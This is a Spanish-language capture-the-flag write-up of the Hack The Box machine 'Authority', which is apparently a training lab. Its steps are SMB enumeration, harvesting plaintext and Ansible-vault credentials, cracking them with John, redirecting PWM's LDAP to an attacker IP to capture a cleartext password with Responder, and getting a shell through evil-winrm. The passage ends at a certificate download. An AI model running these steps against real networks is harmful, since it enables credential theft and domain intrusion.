Authority [MEDIUM🔵]
Dificultad: Medio
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
ping -c 1 10.10.11.222
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# ping -c 1 10.10.11.222
PING 10.10.11.222 (10.10.11.222) 56(84) bytes of data.
64 bytes from 10.10.11.222: icmp_seq=1 ttl=127 time=170 ms
--- 10.10.11.222 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.236/170.236/170.236/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.222 -oN escaneo.txt
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.222 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 00:59 -03
Nmap scan report for 10.10.11.222
Host is up (0.17s latency).
Not shown: 65264 closed tcp ports (reset), 242 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-15 08:01:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-03-15T08:03:06+00:00; +4h02m02s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-15T08:03:07+00:00; +4h02m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-03-15T08:03:07+00:00; +4h02m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-03-15T08:03:07+00:00; +4h02m02s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open ssl/http Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2025-03-13T02:21:44
|_Not valid after: 2027-03-15T14:00:08
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49168/tcp open msrpc Microsoft Windows RPC
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49690/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49691/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
65505/tcp open msrpc Microsoft Windows RPC
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h02m01s, deviation: 0s, median: 4h02m01s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-03-15T08:02:58
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.40 seconds
Estamos frente a un entorno de directorio activo con un controlador de dominio(Puerto 53 --> authority.htb), el puerto 80(Microsoft IIS 10.0) correspondiente a un servidor web, el puerto 88 correspondiente a Kerberos, puerto 135(RPC) y 139(NetBIOS), el puerto 389(LDAP) y 445 correspondiente a un servidor SMB para recursos compartidos, además del puerto 5985 correspondiente a Windows Remote Managment(WinRM) con el que luego podremos conectarnos mediante evil-winrm, ya que es posible los usuarios de la maquina se encuentren dentro del grupo "Remote Management Users"
1.3 crackmapexec
1.3 crackmapexec
crackmapexec smb 10.10.11.222
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# crackmapexec smb 10.10.11.222
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
Estamos ante una maquina Windows Server 2019 en su compilación 17763 de 64 bits
, el nombre de la maquina es "AUTHORITY"
, su dominio es "authority.htb"
, el servidor SMB se encuentra firmado y no es soportado por SMBv1
, por lo que trabajaremos con SMBv2
1.4 smbclient
1.4 smbclient
Vamos a listar recursos compartidos con smbclient
mediante una sesión nula
smbclient -N -L //10.10.11.222/
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# smbclient -N -L //10.10.11.222/
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Department Shares Disk
Development Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.222 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Tenemos 2 recursos compartidos interesantes, "Department Shares"
y "Development"
2- Explotación
2.1 Recurso compartido "Development"
2.1 Recurso compartido "Development"
Vamos a ver que hay dentro del recurso compartido "Development" con smbclient
, asi que vamos a conectarnos al servidor SMB para mas comodidad:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# smbclient -N //10.10.11.222/Development/
Try "help" to get a list of possible commands.
smb: \>
Vamos a investigar que hay dentro del recurso compartido "Devlopment"
smb: \> dir
. D 0 Fri Mar 17 10:20:38 2023
.. D 0 Fri Mar 17 10:20:38 2023
Automation D 0 Fri Mar 17 10:20:40 2023
5888511 blocks of size 4096. 1514637 blocks available
smb: \> cd Automation\
smb: \Automation\> dir
. D 0 Fri Mar 17 10:20:40 2023
.. D 0 Fri Mar 17 10:20:40 2023
Ansible D 0 Fri Mar 17 10:20:50 2023
5888511 blocks of size 4096. 1514637 blocks available
smb: \Automation\> cd Ansible
smb: \Automation\Ansible\> dir
. D 0 Fri Mar 17 10:20:50 2023
.. D 0 Fri Mar 17 10:20:50 2023
ADCS D 0 Fri Mar 17 10:20:48 2023
LDAP D 0 Fri Mar 17 10:20:48 2023
PWM D 0 Fri Mar 17 10:20:48 2023
SHARE D 0 Fri Mar 17 10:20:48 2023
5888511 blocks of size 4096. 1514637 blocks available
smb: \Automation\Ansible\> cd PWM
smb: \Automation\Ansible\PWM\> dir
. D 0 Fri Mar 17 10:20:48 2023
.. D 0 Fri Mar 17 10:20:48 2023
ansible.cfg A 491 Thu Sep 22 02:36:58 2022
ansible_inventory A 174 Wed Sep 21 19:19:32 2022
defaults D 0 Fri Mar 17 10:20:48 2023
handlers D 0 Fri Mar 17 10:20:48 2023
meta D 0 Fri Mar 17 10:20:48 2023
README.md A 1290 Thu Sep 22 02:35:58 2022
tasks D 0 Fri Mar 17 10:20:48 2023
templates D 0 Fri Mar 17 10:20:48 2023
5888511 blocks of size 4096. 1514637 blocks available
smb: \Automation\Ansible\PWM\>
Hay una carpeta llamada "Ansible" correspondiente a una herramienta DevOps que se utiliza para enviar comandos a varias maquinas al mismo tiempo
Vamos a bajarnos el recurso compartido "Development", en nuestro Kali, para mayor comodidad y ver que hay dentro
smbclient -N //10.10.11.222/Development/ -c "recurse; prompt; mget *"
Utilizando este comando, nos bajaremos todo el contenido del recurso compartido
Vamos a hacer un "tree" para listar que hay dentro de todos los directorios
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# tree
.
├── Automation
│ └── Ansible
│ ├── ADCS
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── LICENSE
│ │ ├── meta
│ │ │ ├── main.yml
│ │ │ └── preferences.yml
│ │ ├── molecule
│ │ │ └── default
│ │ │ ├── converge.yml
│ │ │ ├── molecule.yml
│ │ │ └── prepare.yml
│ │ ├── README.md
│ │ ├── requirements.txt
│ │ ├── requirements.yml
│ │ ├── SECURITY.md
│ │ ├── tasks
│ │ │ ├── assert.yml
│ │ │ ├── generate_ca_certs.yml
│ │ │ ├── init_ca.yml
│ │ │ ├── main.yml
│ │ │ └── requests.yml
│ │ ├── templates
│ │ │ ├── extensions.cnf.j2
│ │ │ └── openssl.cnf.j2
│ │ ├── tox.ini
│ │ └── vars
│ │ └── main.yml
│ ├── LDAP
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── files
│ │ │ └── pam_mkhomedir
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── README.md
│ │ ├── tasks
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ ├── ldap_sudo_groups.j2
│ │ │ ├── ldap_sudo_users.j2
│ │ │ ├── sssd.conf.j2
│ │ │ └── sudo_group.j2
│ │ ├── TODO.md
│ │ ├── Vagrantfile
│ │ └── vars
│ │ ├── debian.yml
│ │ ├── main.yml
│ │ ├── redhat.yml
│ │ └── ubuntu-14.04.yml
│ ├── PWM
│ │ ├── ansible.cfg
│ │ ├── ansible_inventory
│ │ ├── defaults
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── README.md
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ ├── context.xml.j2
│ │ └── tomcat-users.xml.j2
│ └── SHARE
│ └── tasks
│ └── main.yml
├── escaneo.txt
└── ping.txt
27 directories, 48 files
Podemos ver que hay una carpeta llamda "PWM", vamos a ver que hay dentro
┌──(root㉿t0mz)-[/home/…/ctf/authority/Automation/Ansible]
└─# cd PWM
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─# ls
ansible.cfg ansible_inventory defaults handlers meta README.md tasks templates
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─#
Vamos a ver que hay dentro de este directorio mismo con tree:
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─# tree .
.
├── ansible.cfg
├── ansible_inventory
├── defaults
│ └── main.yml
├── handlers
│ └── main.yml
├── meta
│ └── main.yml
├── README.md
├── tasks
│ └── main.yml
└── templates
├── context.xml.j2
└── tomcat-users.xml.j2
6 directories, 9 files
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─#
Hay un archivo interesante llamado "tomcat-users.xml.j2"
, vamos a visualizarlo:
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─# cat templates/tomcat-users.xml.j2
<?xml version='1.0' encoding='cp1252'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
</tomcat-users>
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─#
Tenemos 2 credenciales, seguramente del servicio "Apache Tomcat"
alojado en el puerto 8443
Vamos a guardarnos estos usuarios, por si acaso:
Username: admin
Password: T0mc@tAdm1n
Username: robot
Password: T0mc@tR00t
Si recordamos, dentro de la carpeta "PWM"
, tambien teníamos un archivo llamado "ansible_inventory"
Veamos que contiene:
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─# cat ansible_inventory
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─#
Tambien podemos visualiar unas posibles credenciales, pero adelante que estas credenciales no son validas para conectase mediante "evil-winrm" por el puerto 5985
Vamos a guardarnosla, de tal manera que ahora mismo, tenemos las siguientes credenciales:
(APACHE TOMCAT)
Username: admin
Password: T0mc@tAdm1n
Username: robot
Password: T0mc@tR00t
(ANSIBLE)
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
Tambien dentro de la carpeta /PWM/defaults, tenemos un archivo YAML(main.yml), vamos a visualizarlo:
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─# cat defaults/main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
┌──(root㉿t0mz)-[/home/…/authority/Automation/Ansible/PWM]
└─#
Tenemos posibles hashes de "Ansible", el primer hash vault:
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
Vault 2:
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
Y por ultimo, un hash LDAP:
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
Cada uno de estos hashes, cifrados con el algoritmo AES 256
Nos guardamos los hashes:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# nvim vault1_hash
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# nvim vault2_hash
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# nvim ldap_vault_hash
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# cat va*
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# cat ld*
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
Para pasar estos hashes en limpio, tenemos una herramienta en Kali llamada "ansible2john", vamos a utilizarla para los 3 hashes:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# ansible2john vault1_hash > hash1
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# ansible2john vault2_hash > hash2
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# ansible2john ldap_vault_hash > hash3
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# cat hash*
vault1_hash:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
vault2_hash:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
ldap_vault_hash:$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
2.2 John The Ripper con hashes Ansible
2.2 John The Ripper con hashes Ansible
Y ahora vamos a crackear los hashes con la herramienta John The Ripper
, utilizando el diccionario clasico de clasicos, "rockyou"
hash1:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash1
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (vault1_hash)
1g 0:00:00:52 DONE (2025-03-15 01:48) 0.01915g/s 762.6p/s 762.6c/s 762.6C/s 001983..victor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
!@#$%^&*
hash2:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash2
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (vault2_hash)
1g 0:00:00:53 DONE (2025-03-15 01:50) 0.01862g/s 741.4p/s 741.4c/s 741.4C/s 001983..victor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
!@#$%^&*
hash3:
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash3
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (ldap_vault_hash)
1g 0:00:00:51 DONE (2025-03-15 01:51) 0.01942g/s 773.2p/s 773.2c/s 773.2C/s 001983..victor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
!@#$%^&*
Es la misma contraseña para los 3 hashes
Esta contraseña vamos a utilizarla para abrir un Ansible Vault
(Ansible Vault permite a los usuarios cifrar secretos y otros datos confidenciales, como claves API, contraseñas y otras credenciales, para protegerlos en reposo)
Para eso vamos a utilizar la herramienta llamada "ansible-vault"
, para vamos a visualizar el hash de los vaults con "cat"
y agregamos un pipe para adjuntarle el comando "ansible-vault", para luego ingresar la contraseña anteriormente crackeada "!@#$%^&*"
(Ansible Vault no viene instalado en Kali, para instalarla tenemos que instalar Ansible dentro de Kali, "sudo apt install ansible-core")
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# cat vault1_hash | ansible-vault decrypt
Vault password:
Decryption successful
svc_pwm
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# cat vault2_hash | ansible-vault decrypt
Vault password:
Decryption successful
pWm_@dm!N_!23
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# cat ldap_vault_hash | ansible-vault decrypt
Vault password:
Decryption successful
DevT3st@123
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─#
De tal manera que tenemos el usuario y la contraseña de un usuario y ademas tenemos una contraseña del servicio LDAP
User: svc_pwm
Password: pWm_@dm!N_!23
Password LDAP: DevT3st@123
Estas credenciales, adelanto que no son de un usuario del DC
2.3 Modificación del servidor LDAP para recibir hashes
2.3 Modificación del servidor LDAP para recibir hashes
Pero si recordamos en el escaneo de Nmap, teníamos el puerto 8443, correspondiente a Apache Tomcat, vamos a ver que se encuentra dentro de ese sitio web, que además es HTTPS:
https://10.10.11.222:8443/

"Configuration Manager":

Nos pide una contraseña, lo cual vamos a ingresar la contraseña de Ansible Vault "pWm_@dm!N_!23"

Nos ingresa correctamente, y no solo eso, si no que podemos bajarnos la configuración, editarla a nuestra conveniencia y además importarla con alguna configuración maliciosa, lo que haremos nosotros es descargarnos el archivo de configuración:

Vamos a abrirlo con un edito de texto, en mi caso Neovim, y vamos a irnos a la linea 74, que contiene lo siguiente:
<value>ldaps://authority.authority.htb:636</value>
Y vamos a cambiar esta linea por lo siguiente:
<value>ldap://{IP VPN HTB}:389</value>
En mi caso quedaria de la siguiente manera:
<value>ldap://10.10.14.12:389</value>
Y antes de subir el archivo, vamos a ponernos en escucha con la herramienta "Responder" para recibir algun hash de contraseña o incluso la contraseña en texto plano, Responder ya viene integrada en Kali:
responder -I tun0
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.12]
Responder IPv6 [dead:beef:2::100a]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-DR7U7NQ2TTY]
Responder Domain Name [XU0T.LOCAL]
Responder DCE-RPC Port [46634]
[+] Listening for events...
Y ahora vamos a subir el archivo de configuración al panel:


Nos llevara al panel de inicio de sesión:

Pero si volvemos al "Responder":
[+] Listening for events...
[LDAP] Cleartext Client : 10.10.11.222
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
[*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
Si esto no funciona, podemos cambiar la configuración del dominio del servidor LDAP desde el "Configuration Editor" del panel, la configuración se encuentra dentro de "LDAP > LDAP Directories > default > Connection"

Por defecto, en "Load URLs" nos vendrá el dominio de la maquina utilizado por el servidor LDAP, nosotros lo cambiamos por nuestra IP y el puerto 389 así como se puede ver en la imagen
Genial, ahora tenemos unas credenciales en texto plano:
Usuario: svc_ldap
Contraseña: lDaP_1n_th3_cle4r!
2.4 Obtención de shell con evil-winrm
2.4 Obtención de shell con evil-winrm
Ahora vamos a conectarnos mediante "evil-winrm"
con estas credenciales que obtuvimos cambiando la configuración del servidor LDAP
evil-winrm -i 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
┌──(root㉿t0mz)-[/home/kali/ctf/authority]
└─# evil-winrm -i 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
2.5 Obtención de la flag user
2.5 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\svc_ldap\Desktop\user.txt"
, vamos a visualizar la flag:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\svc_ldap\Desktop\user.txt
14863222591e0f8abd84527eb4a6d194
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
3- Escalado de privilegios
3.1 Dominio en /etc/hosts
3.1 Dominio en /etc/hosts
Antes de nada, vamos a agregar el dominio del DC al archivo /etc/hosts
:
┌──(root㉿t0mz)-[/home/kali/Descargas]
└─# nvim /etc/hosts
┌──(root㉿t0mz)-[/home/kali/Descargas]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 t0mz
# HACK THE BOX
10.10.11.222 authority.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(root㉿t0mz)-[/home/kali/Descargas]
└─#
De tal manera que ahora la IP de la maquina 10.10.11.222
apunta al dominio "authority.htb"
10.10.11.222 ----> authority.htb
Esto mas que nada, por que al estar trabajando con un Domain Controler en un entorno de directorio activo es mas cómodo que andar escribiendo la dirección IP
Si hacemos un ping al dominio "authority.htb" esto nos apunta a la IP mencionada:
┌──(root㉿t0mz)-[/home/kali/Descargas]
└─# ping -c 1 authority.htb
PING authority.htb (10.10.11.222) 56(84) bytes of data.
64 bytes from authority.htb (10.10.11.222): icmp_seq=1 ttl=127 time=170 ms
--- authority.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.951/169.951/169.951/0.000 ms
3.2 Certificado LDAPs.pfx
3.2 Certificado LDAPs.pfx
Vamos a irnos a la shell que teniamos con "evil-winrm" y vamos a irnos al directorio "C:\Certs"
:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd C:\Certs
*Evil-WinRM* PS C:\Certs> dir
Directory: C:\Certs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/23/2023 6:11 PM 4933 LDAPs.pfx
*Evil-WinRM* PS C:\Certs>
Tenemos un archivo .PFX correspondiente a un certificado que a menudo contienen información criptográfica, lo cual podemos deducir que esta maquina se maneja con certificados, podemos utilizar una herramienta para extraer el certificado y ver que permisos tiene el usuario "svc_ldap" con el que nos acabamos de logear en evil-winrm
3.3 certipy-ad
3.3 certipy-ad
Para lo anteriormente mencionado vamos a utilizar la herramienta "certipy-ad" para el certificado, esta herramienta ya viene integrada en Kali, en cualquier caso "sudo apt install certipy-ad"
Primeramente vamos a bajarnos el certificado con el comando "download" que ya viene integrado dentro de la misma herramienta "evil-winrm", esto lo hacemos por si acaso:
*Evil-WinRM* PS C:\Certs> download LDAPs.pfx
Info: Downloading C:\Certs\LDAPs.pfx to LDAPs.pfx
Info: Download successful!
